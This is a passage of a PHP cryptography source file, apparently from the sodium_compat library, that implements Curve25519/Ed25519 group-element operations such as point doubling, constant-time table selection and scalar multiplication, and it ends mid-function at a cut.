     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2);
        }
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_copy($p->X),
            self::fe_copy($p->Y),
            self::fe_copy($p->Z)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     */
    public static function equal($b, $c)
    {
        return (int) ((($b ^ $c) - 1) >> 31) & 1;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|string $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return ($char >> 63) & 1;
        }
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 63);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function cmov(
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an integer.');
        }
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx,  $u->yplusx,  $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d,    $u->xy2d,    $b)
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function ge_cmov_cached(
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u,
        $b
    ) {
        $b &= 1;
        $ret = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $ret->YplusX  = self::fe_cmov($t->YplusX,  $u->YplusX,  $b);
        $ret->YminusX = self::fe_cmov($t->YminusX, $u->YminusX, $b);
        $ret->Z       = self::fe_cmov($t->Z,       $u->Z,       $b);
        $ret->T2d     = self::fe_cmov($t->T2d,     $u->T2d,     $b);
        return $ret;
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $cached
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     * @throws SodiumException
     */
    public static function ge_cmov8_cached(array $cached, $b)
    {
        // const unsigned char bnegative = negative(b);
        // const unsigned char babs      = b - (((-bnegative) & b) * ((signed char) 1 << 1));
        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        // ge25519_cached_0(t);
        $t = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
            self::fe_1(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );

        // ge25519_cmov_cached(t, &cached[0], equal(babs, 1));
        // ge25519_cmov_cached(t, &cached[1], equal(babs, 2));
        // ge25519_cmov_cached(t, &cached[2], equal(babs, 3));
        // ge25519_cmov_cached(t, &cached[3], equal(babs, 4));
        // ge25519_cmov_cached(t, &cached[4], equal(babs, 5));
        // ge25519_cmov_cached(t, &cached[5], equal(babs, 6));
        // ge25519_cmov_cached(t, &cached[6], equal(babs, 7));
        // ge25519_cmov_cached(t, &cached[7], equal(babs, 8));
        for ($x = 0; $x < 8; ++$x) {
            $t = self::ge_cmov_cached($t, $cached[$x], self::equal($babs, $x + 1));
        }

        // fe25519_copy(minust.YplusX, t->YminusX);
        // fe25519_copy(minust.YminusX, t->YplusX);
        // fe25519_copy(minust.Z, t->Z);
        // fe25519_neg(minust.T2d, t->T2d);
        $minust = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
            self::fe_copy($t->YminusX),
            self::fe_copy($t->YplusX),
            self::fe_copy($t->Z),
            self::fe_neg($t->T2d)
        );
        return self::ge_cmov_cached($t, $minust, $bnegative);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            /** @var int $i */
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]),
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]),
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2])
                    );
                }
            }
        }
        /** @var array<int, array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp>> $base */
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0, 31]');
        }

        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, $bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp> $Bi */
        static $Bi = array();
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]),
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]),
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2])
                );
            }
        }
        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
            # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_madd($t, $u, $Bi[$index]);
            # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_msub($t, $u, $Bi[$index]);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult($a, $p)
    {
        $e = array_fill(0, 64, 0);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */
        $pi = array();

        //        ge25519_p3_to_cached(&pi[1 - 1], p);   /* p */
        $pi[0] = self::ge_p3_to_cached($p);

        //        ge25519_p3_dbl(&t2, p);
        //        ge25519_p1p1_to_p3(&p2, &t2);
        //        ge25519_p3_to_cached(&pi[2 - 1], &p2); /* 2p = 2*p */
        $t2 = self::ge_p3_dbl($p);
        $p2 = self::ge_p1p1_to_p3($t2);
        $pi[1] = self::ge_p3_to_cached($p2);

        //        ge25519_add_cached(&t3, p, &pi[2 - 1]);
        //        ge25519_p1p1_to_p3(&p3, &t3);
        //        ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */
        $t3 = self::ge_add($p, $pi[1]);
        $p3 = self::ge_p1p1_to_p3($t3);
        $pi[2] = self::ge_p3_to_cached($p3);

        //        ge25519_p3_dbl(&t4, &p2);
        //        ge25519_p1p1_to_p3(&p4, &t4);
        //        ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */
        $t4 = self::ge_p3_dbl($p2);
        $p4 = self::ge_p1p1_to_p3($t4);
        $pi[3] = self::ge_p3_to_cached($p4);

        //        ge25519_add_cached(&t5, p, &pi[4 - 1]);
        //        ge25519_p1p1_to_p3(&p5, &t5);
        //        ge25519_p3_to_cached(&pi[5 - 1], &p5); /* 5p = 4p+p */
        $t5 = self::ge_add($p, $pi[3]);
        $p5 = self::ge_p1p1_to_p3($t5);
        $pi[4] = self::ge_p3_to_cached($p5);

        //        ge25519_p3_dbl(&t6, &p3);
        //        ge25519_p1p1_to_p3(&p6, &t6);
        //        ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */
        $t6 = self::ge_p3_dbl($p3);
        $p6 = self::ge_p1p1_to_p3($t6);
        $pi[5] = self::ge_p3_to_cached($p6);

        //        ge25519_add_cached(&t7, p, &pi[6 - 1]);
        //        ge25519_p1p1_to_p3(&p7, &t7);
        //        ge25519_p3_to_cached(&pi[7 - 1], &p7); /* 7p = 6p+p */
        $t7 = self::ge_add($p, $pi[5]);
        $p7 = self::ge_p1p1_to_p3($t7);
        $pi[6] = self::ge_p3_to_cached($p7);

        //        ge25519_p3_dbl(&t8, &p4);
        //        ge25519_p1p1_to_p3(&p8, &t8);
        //        ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */
        $t8 = self::ge_p3_dbl($p4);
        $p8 = self::ge_p1p1_to_p3($t8);
        $pi[7] = self::ge_p3_to_cached($p8);


        //        for (i = 0; i < 32; ++i) {
        //            e[2 * i + 0] = (a[i] >> 0) & 15;
        //            e[2 * i + 1] = (a[i] >> 4) & 15;
        //        }
        for ($i = 0; $i < 32; ++$i) {
            $e[($i << 1)    ] =  self::chrToInt($a[$i]) & 15;
            $e[($i << 1) + 1] = (self::chrToInt($a[$i]) >> 4) & 15;
        }
        //        /* each e[i] is between 0 and 15 */
        //        /* e[63] is between 0 and 7 */

        //        carry = 0;
        //        for (i = 0; i < 63; ++i) {
        //            e[i] += carry;
        //            carry = e[i] + 8;
        //            carry >>= 4;
        //            e[i] -= carry * ((signed char) 1 << 4);
        //        }
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        //        e[63] += carry;
        //        /* each e[i] is between -8 and 8 */
        $e[63] += $carry;

        //        ge25519_p3_0(h);
        $h = self::ge_p3_0();

        //        for (i = 63; i != 0; i--) {
        for ($i = 63; $i != 0; --$i) {
            // ge25519_cmov8_cached(&t, pi, e[i]);
            $t = self::ge_cmov8_cached($pi, $e[$i]);
            // ge25519_add_cached(&r, h, &t);
            $r = self::ge_add($h, $t);

            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);

            // ge25519_p1p1_to_p3(h, &r);  /* *16 */
            $h = self::ge_p1p1_to_p3($r); /* *16 */
        }

        //        ge25519_cmov8_cached(&t, pi, e[i]);
        //        ge25519_add_cached(&r, h, &t);
        //        ge25519_p1p1_to_p3(h, &r);
        $t = self::ge_cmov8_cached($pi, $e[0]);
        $r = self::ge_add($h, $t);
        return self::ge_p1p1_to_p3($r);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15;
        }

        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        $a0 = 2097151 & self::load_3(self::substr($a, 0, 3));
        $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5);
        $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2);
        $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7);
        $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4);
        $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1);
        $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6);
        $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3);
        $a8 = 2097151 & self::load_3(self::substr($a, 21, 3));
        $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5);
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2);
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        $b0 = 2097151 & self::load_3(self::substr($b, 0, 3));
        $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5);
        $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2);
        $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7);
        $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4);
        $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1);
        $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6);
        $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3);
        $b8 = 2097151 & self::load_3(self::substr($b, 21, 3));
        $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5);
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2);
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        $c0 = 2097151 & self::load_3(self::substr($c, 0, 3));
        $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5);
        $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2);
        $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7);
        $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4);
        $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1);
        $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6);
        $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3);
        $c8 = 2097151 & self::load_3(self::substr($c, 21, 3));
        $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5);
        $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2);
        $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7);

        /* Can't really avoid the pyramid here: */
        $s0 = $c0 + self::mul($a0, $b0, 24);
        $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24);
        $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) + self::mul($a2, $b0, 24);
        $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) + self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24);
        $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) + self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) +
               self::mul($a4, $b0, 24);
        $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) + self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) +
               self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24);
        $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) + self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) +
               self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) + self::mul($a6, $b0, 24);
        $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) + self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) +
               self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) + self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24);
        $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) + self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) +
               self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) + self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) +
               self::mul($a8, $b0, 24);
        $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) + self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) +
               self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) + self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) +
               self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24);
        $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) + self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) +
               self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) + self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) +
               self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) + self::mul($a10, $b0, 24);
        $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) + self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) +
               self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) + self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) +
               self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) + self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24);
        $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) + self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) +
               self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) + self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) +
               self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) + self::mul($a11, $b1, 24);
        $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) + self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) +
               self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) + self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) +
               self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24);
        $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) + self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) +
               self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) + self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) +
               self::mul($a11, $b3, 24);
        $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) + self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) +
               self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) + self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24);
        $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) + self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) +
               self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) + self::mul($a11, $b5, 24);
        $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) + self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) +
               self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24);
        $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) + self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) +
